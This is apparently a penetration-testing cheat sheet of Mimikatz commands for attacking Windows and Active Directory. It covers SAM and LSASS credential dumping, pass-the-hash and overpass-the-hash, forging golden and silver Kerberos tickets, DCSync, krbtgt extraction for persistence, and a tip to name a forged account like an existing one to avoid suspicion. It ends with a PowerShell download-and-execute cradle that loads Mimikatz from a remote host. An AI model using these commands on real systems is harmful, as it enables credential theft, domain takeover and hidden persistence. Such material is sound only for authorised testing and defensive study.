Enable SeDebugPrivilege to enable the privilges required to tamper with process

```
privilege::debug
```

Elevate the privilege from high integrity – administrator – to SYSTEM integrity

```
token::elevate
```

Dumpe the content of SAM database

```
lsadump::sam
```

Pass-The-Hash

After dumping the hashes to a remote system, use the following command

```
C:/pth-winexe -U
admin%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70
e2
eb3b9f05c425e //10.11.0.22 cmd
```

admin: username on the system
//10.11.0.22: Share name or IP address
Cmd: the command to execute. Cmd alone is fine

Dump stored password hashes and tickets stored in memory - ActiveDirectory

```
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
OR
```

```
./mimikatz.exe ‘privilege::debug’
‘sekurlsa::logonpasswords‘ sekurlsa::tickets‘ ‘exit‘
```

Active Directory Lateral Movement, Privilege escalation and Persistence using overpass the hash technique

Creating a powershell process in the context of an admin user on the domain controller from the compromised workstation using overpass the hash technique

```
<sekurlsa::pth /user:admin /domain:pentesting.com
/ntlm:e2b475c11da2a0748290d
87aa966c327 /run:PowerShell.exe>
```

The ntlm hash: the hash of the admin password captured with mimikatz from the memory cach of the compromised machine when the admin has logged in previously.

After establishing the powershell process, the prompt will change

Listing tickets

```
PS C:\Windows\system32> klist
```

Generating a ticket in the context of the domain controller admin

```
PS C:\Windows\system32> net use \\dc05
```

Dc01: domain controller

Executing an admin CMD with PsExec from sysinternals

```
PS C:\Tools\active_directory> .\PsExec.exe \\dc05
cmd.exe
```

Purging existing tickets

```
kerberos::purge
```

Creating and passing a ticket under the current machine username ‘user’

```
kerberos::golden /user:admin /domain:pentesting.com
/sid:S-1-5-21-1602875587-2787523311 2599479668
/target:pentesting-webserver.com /service:HTTP
/rc4:E2B475C11DA2A0748290D87AA966C327 /ptt
```

sid: the domain controller identifier and can be found by running: whoami /user

Dumping hashes with dcsync attack

```
Lsadump::dcsync /domain:pentesting.local
/user:Administrator
```

Establishing persistence on the compromised domain controller with Golden Tickets on Mimikatz

On the domain controller, we issue the following from mimikatz

```
privilege::debug
lsadump::lsa /patch
lsadump::lsa /inject /name:krbtgt
```

Take a note of the NTLM hash of krbtgt account. Now we go back to the compromised workstation and we launch mimikatz.

```
kerberos::purge
kerberos::golden /user:fake /domain:pentesting.com
/sid:S-1-5-21-1602875587-2787523311-2599479668
/krbtgt:75b60230a2394a812000dbfad8415965 /ptt
misc::cmd
```

it's always better to make the name of the new user looks like an existing account on the domain controller to avoid suspicion.
This will launch a cmd process.

Execute the following to have everything completed

```
C:\Users\local.user> psexec.exe \\dc05 cmd.exe
```

And that will launch a CMD with the context of the new user 'fake' we created.

Dumping certificates from target machine with powershell and mimikatz in memory:

On the target machine launch the following:

```
PS> $browser = New-Object System.Net.WebClient
PS> $browser.Proxy.Credentials =
```

```
[System.Net.CredentialCache]::DefaultNetworkCredentials
PS>
IEX($browser.DownloadString("https://raw.githubusercontent.Mimikatz.ps1"))
PS> invoke-mimikatz -DumpCerts
```